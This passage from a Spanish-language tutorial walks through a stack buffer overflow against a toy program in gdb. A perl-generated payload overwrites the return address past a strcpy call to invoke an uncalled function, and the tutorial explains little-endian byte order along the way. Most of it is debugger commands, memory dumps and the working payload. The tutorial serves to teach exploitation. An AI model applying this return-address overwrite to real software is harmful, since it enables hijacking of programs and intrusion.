   0x080484b6 <+68>:    mov    %eax,(%esp)
   0x080484b9 <+71>:    call   0x8048354 <strcpy@plt>
   0x080484be <+76>:    mov    $0x0,%eax
   0x080484c3 <+81>:    leave 
   0x080484c4 <+82>:    ret   
End of assembler dump.
(gdb) br *main+71
Punto de interrupción 1 at 0x80484b9
(gdb) r `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`
Starting program: /path/bof2 `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff544    0x00119b82    0xbffff304
0xbffff260:    0x080481cc    0xbffff2f8    0x0012da74    0x00000000
0xbffff270:    0xb7fffb28    0x00000001    0x00000000    0x00000001
0xbffff280:    0x0012d918    0x00000001    0x00008000    0x00287ff4
0xbffff290:    0x00237e79    0x0015e785    0xbffff2a8    0x00145ae5
0xbffff2a0:    0x00000000    0x08049ff4    0xbffff2b8    0x08048320
0xbffff2b0:    0x0011eb60    0x08049ff4    0xbffff2e8    0x080484f9
0xbffff2c0:    0x00288324    0x00287ff4    0x080484e0    0xbffff2e8
0xbffff2d0:    0x0015e985    0x0011eb60    0x080484eb    0x00287ff4
0xbffff2e0:    0x080484e0    0x00000000    0xbffff368    0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff544    0x00119b82    0xbffff304
0xbffff260:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x54840408

Ahora vemos qué está pasando. La dirección de retorno no se ha sobreescrito por 0x08048454, sino por ese número pero con los bytes al revés, 0x54840408. ¿Y esto por qué es?. Recordemos que estamos ejecutando en una máquina x86, esta arquitectura utiliza una ordenación de los bytes de los datos tipo little endian, lo que significa que los bytes menos significativos de un dato van en posiciones menos significativas de memoria. Mucho cuidado con estos detalles y con la forma de representar los datos tanto de gdb como de cualquier otro debugger que uses.

Dado que de la dirección de saludar, 0x08048454, el byte menos significativo es 0x54, es éste el que debe ir en el byte menos significativo de la dirección de retorno, luego 0x84 y así sucesivamente.

(gdb) r `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/bof2 `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) cont
Continuando.
Hola BoF

Program exited normally.

Efectivamente ahora sí­ vemos que se nos ha escrito el mensaje "Hola BoF" que esperábamos. Veamos que también ocurre ejecutando sin gdb.

$ ./bof2 `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`
Hola BoF

Correcto, hemos conseguido hacer que un programa que, en principio no llamaba a cierta función acabe llamándola. Esto es lo que se suele llamar ejecución "arbitraria" de código.

Espero que con esto se les haya iluminado la mente y descubierto nuevas vías para truquear los programas, pero sobre todo espero que les sigan surgiendo nuevas dudas y ganas de seguir leyendo... porque seguiré escribiendo y mostrando cosas aún más interesantes, sólo estamos empezando...

Saludos.